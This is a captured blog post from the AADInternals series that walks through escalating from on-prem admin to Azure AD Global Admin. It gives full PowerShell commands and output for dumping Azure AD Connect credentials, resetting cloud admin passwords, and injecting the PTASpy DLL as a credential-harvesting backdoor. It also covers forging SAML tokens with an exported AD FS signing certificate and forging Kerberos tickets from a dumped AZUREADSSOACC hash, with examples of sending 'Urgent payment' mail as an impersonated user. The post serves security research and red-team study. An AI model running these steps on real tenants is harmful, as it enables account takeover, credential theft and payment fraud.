aadinternals.com Open in urlscan Pro
185.199.109.153  Public Scan

Submitted URL: https://o365blog.com/post/on-prem_admin/
Effective URL: https://aadinternals.com/post/on-prem_admin/
Submission: On October 04 via api from DE — Scanned from NL

Form analysis 0 forms found in the DOM

Text Content

AADINTERNALS.COM


THE ULTIMATE AZURE AD / MICROSOFT 365 HACKING AND ADMIN TOOLKIT

Menu
 * AAD KILL CHAIN
 * DOCUMENTATION
 * LINKS
 * OSINT
 * TALKS
 * TOOLS


UNNOTICED SIDEKICK: GETTING ACCESS TO CLOUD AS AN ON-PREM ADMIN

July 13, 2020 (Last Modified: December 03, 2021) blog

 * 
 * 

 * Azure AD Connect
   * Introduction
   * Dumping Azure AD Connect credentials
   * Modifying users
   * Getting Global Admin rights
 * Pass-through Authentication
   * Introduction
   * Harvesting credentials and letting everyone in
 * Federation Services (AD FS)
   * Introduction
   * Exporting token signing certificate
   * Creating SAML tokens for synced users
   * Creating tokens for cloud-only users
 * Active Directory and Desktop SSO (Seamless SSO)
   * Introduction
   * Dumping the AZUREADSSOACC password
   * Creating Kerberos tickets for synced users
   * Creating Kerberos tickets for cloud-only users
 * References

This post is part 5⁄5 of Azure AD and Microsoft 365 kill chain blog series.

Although on-prem administrators doesn’t usually have admin rights to Azure AD,
they can have access to crucial information, such as Azure AD Connect, ADFS, and
Active Directory. Administrators of these services can easily get admin rights
to Azure AD to manipulate and impersonate users.

In this blog, using AADInternals v0.4.0, I’ll show how to get Global Admin
access and how to impersonate users as an on-prem administrator.




AZURE AD CONNECT


INTRODUCTION

Azure AD Connect(AAD Connect) is a tool for implementing hybrid identity.
Typically, it is configured to do the following:

 * Synchronise users, groups, and devices from on-prem AD to Azure AD
 * Synchronise password hashes from on-prem AD to Azure AD

When AAD Connect is configured, it creates service accounts to both Azure AD and
local AD (see my blog post for more details). These service accounts and their
passwords are stored in a configuration database, typically on the same server
as the AAD Connect.

The service account created in Azure AD is named as follows:

Sync_<server>_<random string>@<tenant name>.onmicrosoft.com


<server> refers to the name of server running the AAD Connect, <random string>
to a 12 character random string, and <tenant name> to the name of Azure AD
tenant.

This account is given a Directory Synchronization Accounts role (see
documentation). Obviously, this role has at least the following rights: *
Reading, creating, modifying, and deleting users (and other objects) * Setting
passwords

However, if the user with Directory Synchronization Accounts role tries to
create a user with MSOnline (or Azure AD) module, the following error is given:

New-MsolUser : Access Denied. You do not have permissions to call this cmdlet.


This indicates that the synchronisation is not using the provisioning API nor
Azure AD Graph API. Instead, is using an API which I call simply a
synchronisation API, which endpoint is
https://adminwebservice.microsoftonline.com AADInternals have had support for
synchronisation API since the early versions.

The API (and corresponding AADInternals functions) allows you modify users and
their passwords.


DUMPING AZURE AD CONNECT CREDENTIALS

Assuming that the AAD Connect is using a local configuration database, dumping
the credentials is very straight-forward. Just install the AADInternals module
and export the credentials:

# Install AADInternals

Install-Module AADInternals

# Import AADInternals

Import-Module AADInternals

# Dump the AD Connect credentials

Get-AADIntSyncCredentials

Name                           Value
----                           -----
ADDomain                       company.com  
ADUser                         MSOL_4bc4a34e95fa
ADUserPassword                 Q9@p(poz{#:kF_G)(s/Iy@8c*9(t;...
AADUser                        Sync_SRV01_4bc4a34e95fa@company.onmicrosoft.com                                                      
AADUserPassword                $.1%(lxZ&/kNZz[r



MODIFYING USERS

Now that we have credentials of AAD Connect, we can modify users and their
passwords. First, we need to get an OAuth access token.

# Save the credentials to a variable

$creds=Get-Credential 

# Get an access token and save to cache

Get-AADIntAccessTokenForAADGraph -Credentials $creds -SaveToCache



There are two ways to list users in AADInternals. First is using the
synchronisation API, which can show all synced objects:

# List the sync objects

Get-AADIntSyncObjects | Select UserPrincipalName,SourceAnchor,CloudAnchor | Sort UserPrincipalName



The output should be something similar to below.

UserPrincipalName    SourceAnchor             CloudAnchor                              
-----------------    ------------             -----------                              
AlexW@company.com    UQ989+t6fEq9/0ogYtt1pA== User_e7919c57-20f5-4bda-93fc-fe310376bffa
AllanD@company.com   gvzoAfPVjkqwoMkFkb/wzA== User_92915102-6479-4655-9bd7-0803115eeaf5
DiegoS@company.com   QNnPEfbbzUSumhgN663BIw== User_faa1111a-0138-4048-acf9-09ccc2fa3585
IsaiahL@company.com  OEBmRzwk70aab9xZs8pYGA== User_3ec30644-7e8e-4415-bf20-8c355c39426c
JoniS@company.local  EgmFX7XbNUurSf2dAch3lQ== User_5585b427-0817-4a07-94dc-fdd82b7547b7


Note! The values, such as UserPrincipalName, are original values from on-prem
AD, NOT from Azure AD. To demonstrate, let’s get the list of users using
provisioning API:

# List the Azure AD users

Get-AADIntUsers | Select UserPrincipalName,ImmutableId,ObjectId | Sort UserPrincipalName

The output should be something similar to below. From the output, we can see
that SourceAnchor matches the ImmutableId, and CloudAnchor matches
<ObjectType>_<ObjectId> The user JoniS@company.local from above has a different
UserPrincipalName (JoniS@company.microsoft.com). This is because the user has an
“illegal” domain part in AD.

UserPrincipalName                                ImmutableId              ObjectId                            
-----------------                                -----------              --------                            
admin@company.com                                                         cf618970-9541-4963-a0ca-9e43f01bf867
admin@company.onmicrosoft.com                                             7b0ad665-a751-43d7-bb9a-7b8b1e6b1c59
AlexW@company.com                                UQ989+t6fEq9/0ogYtt1pA== e7919c57-20f5-4bda-93fc-fe310376bffa
AllanD@company.com                               gvzoAfPVjkqwoMkFkb/wzA== 92915102-6479-4655-9bd7-0803115eeaf5
DiegoS@company.com                               QNnPEfbbzUSumhgN663BIw== faa1111a-0138-4048-acf9-09ccc2fa3585
IsaiahL@company.com                              OEBmRzwk70aab9xZs8pYGA== 3ec30644-7e8e-4415-bf20-8c355c39426c
JoniS@company.onmicrosoft.com                    EgmFX7XbNUurSf2dAch3lQ== 5585b427-0817-4a07-94dc-fdd82b7547b7
Sync_SERVER_10923a482f0a@company.onmicrosoft.com                          e58a81ac-375e-4be5-946d-d3367535fdfc


The ImmutableId is a Base64 encoded GUID of the user’s AD object. Therefore the
users without ImmutableId are cloud-only users and are not shown when listing
sync objects. As such, we can modify users with synchronisation API if we know
their ImmutableId (SourceAnchor):

# Change the DisplayName for AlexW@company.com

Set-AADIntAzureADObject -SourceAnchor "UQ989+t6fEq9/0ogYtt1pA==" -displayName "I've been hacked!"



CloudAnchor            : User_e7919c57-20f5-4bda-93fc-fe310376bffa
ErrorDetails           : ErrorDetails
ObjectType             : User
ResultCode             : Success
ResultErrorCode        : 0
ResultErrorDescription : ResultErrorDescription
SourceAnchor           : UQ989+t6fEq9/0ogYtt1pA==
SyncOperation          : Add


We can also reset user’s password. Because only the hash of the password is sent
to Azure AD, password restrictions are not applied. This means that we can use
as long passwords as we want to. A nice trick is also the possibility to set the
password change date to anything we want to.

# Change the password for AlexW@company.com

Set-AADIntUserPassword -SourceAnchor "UQ989+t6fEq9/0ogYtt1pA==" -Password "NewPwd" -ChangeDate (Get-Date).AddYears(-1)

If the Result is 0, the change was successful.



CloudAnchor Result SourceAnchor            
----------- ------ ------------            
CloudAnchor 0      UQ989+t6fEq9/0ogYtt1pA==



GETTING GLOBAL ADMIN RIGHTS

First step when pursuing Global Admin rights is to list the current admins:

# List the global admins

Get-AADIntGlobalAdmins

The output should something similar to below.



DisplayName   UserPrincipalName                
-----------   -----------------                
Administrator admin@company.onmicrosoft.com
Cloud Admin   admin@company.com       
Joni Sherman  JoniS@company.com


Sometimes the Global Admin is a user which is synced from the on-prem AD (e.g.
Joni Sherman above). If this is the case, the password can be changed in the
similar way as in our previous example (provided that the domain is Managed, not
Federated).

But what if you want to reset the password of cloud-only administrator? At the
end of May 2020 I discovered that the synchronisation API can be used to reset
also cloud-only users’ passwords! The trick is to user CloudAnchor instead of
SourceAnchor. So, using the previous examples, we can change the password for
admin@company.onmicrosoft.com as we know the Azure AD ObjectId
(7b0ad665-a751-43d7-bb9a-7b8b1e6b1c59):



# Change the password for admin@company.onmicrosoft.com

Set-AADIntUserPassword -CloudAnchor "User_7b0ad665-a751-43d7-bb9a-7b8b1e6b1c59" -Password "NewPwd" -ChangeDate (Get-Date).AddYears(-1)

If the Result is 0, the change was successful and we can login as a Global
Administrator!



CloudAnchor                               Result SourceAnchor
-----------                               ------ ------------
User_7b0ad665-a751-43d7-bb9a-7b8b1e6b1c59 0      SourceAnchor


> Note!
> 
> This is not an expected behaviour, as synchronisation should not have any
> access to cloud-only users.
> 
> Similar issue, where on-prem accounts could be synced and linked to existing
> Azure AD users, was fixed in October 2018. Now only non-admin users can be
> “linked”.
> 
> I’ve reported this issue to Microsoft on May 29th and they are working on a
> solution.

Password reset works only if the Password Hash Synchronisation (PHS) is enabled.
Luckily, AAD Connect service account can turn it on. The following command just
sets the PHS switch in Azure AD, it doesn’t start the actual PHS sync.

# Enable PHS

Set-AADIntPasswordHashSyncEnabled -Enabled $true




PASS-THROUGH AUTHENTICATION


INTRODUCTION

Azure Active Directory Pass-through Authentication (PTA) is an authentication
method allowing users to sign in to on-premises and Azure AD/Office 365 using
the same credentials. Technically it is a service “Microsoft Azure AD Connect
Authentication Agent” running on a Windows server. If PTA is used, one agent is
always installed on Azure AD Connect server. For high-availability, extra agents
can be installed to other servers.

For short, when users are signing in, their credentials are sent to the PTA
Agent for verification. The agent tries to log in with the provided credentials
and returns the result back to Azure AD. For more details, see my blog post.


HARVESTING CREDENTIALS AND LETTING EVERYONE IN

With the inspiration from this article, I implemented a PTASpy.

What PTASpy installation does:

 * Creates a hidden folder C:\PTASpy
 * Copies a PTASpy.dll to C:\PTASpy
 * Injects PTASpy.dll to AzureADConnectAuthenticationAgentService process

When installed, PTASpy:

 * Accepts all passwords
 * Saves all user names and passwords to C:\PTASpy\PTASpy

To install PTASpy, run the following command on the computer running AAD Connect
or stand-alone authentication agent.

# Install PTASpy

Install-AADIntPTASpy



The installation asks you to confirm the installation. To continue, type YES and
press enter.

Are you sure you wan't to install PTASpy to this computer? Type YES to continue or CTRL+C to abort:


If installation is successful, you should see the following:

Installation successfully completed!
All passwords are now accepted and credentials collected to C:\PTASpy\PTASpy.csv


Note! If the installation fails, this is probably due to missing Microsoft
Visual C++ 2015 Redistributables.

Now whenever someone tries to log in, any password is accepted and saved to the
log. As such, PTASpy can be used as a backdoor and credentials harvester.

Now you can dump the passwords:

# Dump the login credentials

Get-AADIntPTASpyLog



UserName          Password                                                         Time               
--------          --------                                                         ----               
user1@company.com YQBzAGQAZgBkAHMAZgA=                                             03/04/2020 12.17.03
user2@company.com TQB5ACAAdgBlAHIAeQAgAHMAZQBjAHIAZQB0ACAAcABhAHMAcwB3AG8AcgBkAA== 16/07/2020 7.55.14 


Passwords are Base64 encoded Unicode text. To show the decoded passwords:

# Dump the login credentials

Get-AADIntPTASpyLog -DecodePasswords



UserName          Password                Time               
--------          --------                ----               
user1@company.com asdfdsf                 03/04/2020 12.17.03
user2@company.com My very secret password 16/07/2020 7.55.14 


Note! When the AzureADConnectAuthenticationAgent service is restarted, PTASpy is
“unloaded” and must be re-installed.


FEDERATION SERVICES (AD FS)


INTRODUCTION

Azure AD and Microsoft 365 supports various authentication methods, of which
Federated Identity is one. Typically the federation is implemented using Active
Directory Federation Services (AD FS), which one of the roles of Windows Server
operating systems.

For short, identity federation is based on a trust between on-prem AD FS and
Azure AD (see my blog post for details). During the authentication, AD FS
creates a SAML token, which includes information about the user
(UserPrincipalName and ImmutableId). The SAML token is signed with a token
signing certificate using the private key known only by AD FS server. Token
validity is checked using the public key of the token signing certificate known
to both AD FS and Azure AD.

As I explained in by blog post, Azure AD is using only ImmutableId for
identifying the user. So, as long as the SAML token is properly signed and the
corresponding ImmutableID is found from Azure AD, the user is logged in. In
practice, if you have the token signing certificate, you can log in as any user
of the tenant!


EXPORTING TOKEN SIGNING CERTIFICATE

Assuming that the AD FS is using a local configuration database, dumping the
token signin certificate is very straight-forward. Just install the AADInternals
module and export the certificate:

# Install AADInternals

Install-Module AADInternals

# Import AADInternals

Import-Module AADInternals

# Export the AD FS token signing certificate

Export-AADIntADFSSigningCertificate

If no file name is given, the certificate is exported to the current directory
as ADFSSigningCertificate.pfx with empty pfx password.

Note! The certificate is renewed by default once a year. For persistent access,
the certificate with longer (e.g. 10 yrs) validity period should be used.


CREATING SAML TOKENS FOR SYNCED USERS

Using the users from previous example, we can now create valid SAML tokens.

First, if not known, you also need the AD FS identifier, which is typically a
uri:

# Get the issuer 

Get-AdfsProperties | Select Identifier



Identifier                                    
----------                                    
http://sts.company.com/adfs/services/trust


Now we have all the needed information and the SAML token can be created. By
default, the token is valid for one hour.

# Create a new SAML token

$saml=New-AADIntSAMLToken -ImmutableID "UQ989+t6fEq9/0ogYtt1pA==" -PfxFileName ADFSSigningCertificate.pfx -PfxPassword "" -Issuer "http://sts.company.com/adfs/services/trust"



With the SAML token, you can now get OAuth Access Token to be used with
AADInternals functions.

# Get an access token for Exchange Online

$at=Get-AADIntAccessTokenForEXO -SAMLToken $saml

# Send a message using "Outlook"

Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."



You can also open the Office 365 Portal with the signing certificate. The
following command creates a .html file in temp and opens it with Internet
Explorer in Private mode.

# Open the Office Portal

Open-AADIntOffice365Portal -ImmutableID "UQ989+t6fEq9/0ogYtt1pA==" -PfxFileName ADFSSigningCertificate.pfx -PfxPassword "" -Issuer "http://sts.company.com/adfs/services/trust"




CREATING TOKENS FOR CLOUD-ONLY USERS

If the AD FS administrator have access to Azure AD Connect (which is quite
typical), they can set ImmutableId for any cloud-user (SourceAnchor). This way
SAML tokens can be created also for cloud-only users.

And the funny part is, that the ImmutableId doesn’t have to be Base64 encoded
GUID, it can be any string :smile:

Setting ImmutableId for cloud-only users using the example from above:

# Set the ImmutableId for admin@company.onmicrosoft.com

Set-AADIntAzureADObject -CloudAnchor "User_7b0ad665-a751-43d7-bb9a-7b8b1e6b1c59" -SourceAnchor "I've been hacked!"



CloudAnchor            : User_7b0ad665-a751-43d7-bb9a-7b8b1e6b1c59
ErrorDetails           : ErrorDetails
ObjectType             : User
ResultCode             : Success
ResultErrorCode        : 0
ResultErrorDescription : ResultErrorDescription
SourceAnchor           : I've been hacked!
SyncOperation          : Add


Now we can create SAML tokens using the SourceAnchor as ImmutableId:

# Create a new SAML token

$saml=New-AADIntSAMLToken -ImmutableID "I've been hacked!" -PfxFileName ADFSSigningCertificate.pfx -PfxPassword "" -Issuer "http://sts.company.com/adfs/services/trust"



Tip! If you want to create proper looking ImmutableId, use the following
command:

# Create an ImmutableId

[convert]::ToBase64String((New-Guid).ToByteArray())



yMsQmdfNEE+Y84RamHtZ7Q==



ACTIVE DIRECTORY AND DESKTOP SSO (SEAMLESS SSO)


INTRODUCTION

Azure AD and Microsoft 365 supports various authentication methods, of which
Desktop SSO is one. Together with Pass Through Authentication (PTA), Desktop SSO
is currently recommended instead of AD FS by Microsoft.

Desktop SSO is using Kerberos for authentication. When configured, Azure AD
Connect creates a computer account called AZUREADSSOACC in on-prem AD. The
password of the AZUREADSSOACC account is sent as plain-text to Azure AD during
the configuration.

The Kerberos tickets are encrypted using the NTHash (MD4) of the password and
Azure AD is using the sent password to decrypt the tickets.

Same way than in Identity Federation token signing certificates, if the password
is known, you can create Kerberos tickets for any user of the tenant.


DUMPING THE AZUREADSSOACC PASSWORD

Because the Kerberos ticket is encrypted using the NTHash, we only need to know
that hash! There are many ways for dumping the AD passwords, but I’m using the
following method:

 * Dump the AD database using Ntdsutil
 * Extract the password hash using DSInternals

To dump NTDS.dit and registry, use the following command in any DC:

ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q


Now the AD and registry are dumped to C:\temp and we can extract the password
hash using DSInternals.

# Install DSInternals (if not done yet)

Install-Module DSInternals

# Import DSInternals

Import-Module DSInternals

# Get the Boot key

$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'

# Get the password hash of AZUREADSSOACC

(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hex



           Path:  
           00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
00000000   97 B7 45 CB ED 7B 9D D6 FE 6C 99 20 24 BC 38 F4   ·EËí{ Öþl  $¼8ô


From the output we can find the password hash of the AZUREADSSOACC:
97B745CBED7B9DD6FE6C992024BC38F4


CREATING KERBEROS TICKETS FOR SYNCED USERS

Same way than in Identity Federation, where ImmutableId is used as an
identifier, DesktopSSO uses on-prem AD Security Identifier (SID) as an
identifier. So, to create valid Kerberos tickets, the SID of the user must be
known.

To list users’ SIDs from Azure AD, use the AzureAD module:

# Connect to AzureAD (if not done yet)

Connect-AzureAD

# List users names and SIDs:

Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier



UserPrincipalName                                OnPremisesSecurityIdentifier                  
-----------------                                ----------------------------                  
admin@company.com                        
admin@company.onmicrosoft.com                
AlexW@company.com                                S-1-5-21-854168551-3279074086-2022502410-1104 
AllanD@company.com                               S-1-5-21-854168551-3279074086-2022502410-1105 
DiegoS@company.com                               S-1-5-21-854168551-3279074086-2022502410-1106 
IsaiahL@company.com                              S-1-5-21-854168551-3279074086-2022502410-1107 
JoniS@company.com                                S-1-5-21-854168551-3279074086-2022502410-1108 
Sync_SERVER_10923a482f0a@company.onmicrosoft.com                                                        


Now we are able to create Kerberos ticket to AlexW:

# Create a new Kerberos ticket

$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "97B745CBED7B9DD6FE6C992024BC38F4"



With the kerberos ticket, you can now get OAuth Access Token to be used with
AADInternals functions.

# Get an access token for Exchange Online

$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com

# Send a message using "Outlook"

Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."




CREATING KERBEROS TICKETS FOR CLOUD-ONLY USERS

If the Active Directory administrators have access to Azure AD Connect, they can
set SID for any cloud-user. This way Kerberos tokens can be created also for
cloud-only users. The only requirement is that the SID is a proper SID.

> Note! Changing SID of cloud-only admin users is now blocked by Microsoft!

Setting SID for cloud-only users:

# Create a SID object. MUST be unique within the tenant.

$objSID = New-Object System.Security.Principal.SecurityIdentifier("S-1-5-0-0-0-0-1")

# Create a byte array for the binary form of the SID

$b64SID = [System.Byte[]]::CreateInstance([System.Byte],28)

# Export binary SID to the variable

$objSID.GetBinaryForm($b64SID,0)

# Convert the binary SID to Base 64 string

$strB64SID=[convert]::ToBase64String($b64SID)

# Set the SID for the user

Set-AADIntAzureADObject -CloudAnchor "User_d8e43f6f-d97c-4377-a547-ad1f51d5bbc7" -onPremiseSecurityIdentifier $strB64SID



CloudAnchor            : User_d8e43f6f-d97c-4377-a547-ad1f51d5bbc7
ErrorDetails           : ErrorDetails
ObjectType             : User
ResultCode             : Success
ResultErrorCode        : 0
ResultErrorDescription : ResultErrorDescription
SourceAnchor           : abc
SyncOperation          : Add


If successful, you can now create a Kerberos ticket for the user using the SID
“S-1-5-0-0-0-0-1”.


REFERENCES

 * Adam Chester: Azure AD Connect for Red Teamers
 * Michael Grafnetter: How Azure Active Directory Connect Syncs Passwords?
 * Michael Grafnetter: Dumping the contents of ntds.dit files using PowerShell
 * Microsoft: What is Azure AD Connect?
 * Microsoft: Administrator role permissions in Azure Active Directory
 * Microsoft: Choose the right authentication method for your Azure Active
   Directory hybrid identity solution
 * Sean Metcalf: How Attackers Dump Active Directory Database Credentials

 * Azure Active Directory
 * Azure
 * reconnaissance
 * security
 * on-prem
 * admin

 * 
 * 

About Dr Nestori Syynimaa (@DrAzureAD)
Dr Syynimaa works as Senior Principal Information Security Researcher at
Secureworks CTU™ (Counter Threat Unit).
Before moving to his current position, Dr Syynimaa worked as a CIO, consultant,
trainer, and university lecturer for over 20 years. He is a regular speaker in
scientific and professional conferences related to Microsoft 365 and Azure AD
security.

Dr Syynimaa is Microsoft Certified Expert (Microsoft 365), Microsoft Certified
Azure Solutions Architect Expert, Microsoft Certified Trainer, Microsoft MVP
(Enterprise Mobility, Identity and Access), and Microsoft Most Valuable Security
Researcher (MVR).
«Previous

Keys of the kingdom: Playing God as Global Admin

Next»

Deep-dive to Azure AD MFA: Creating a custom authenticator app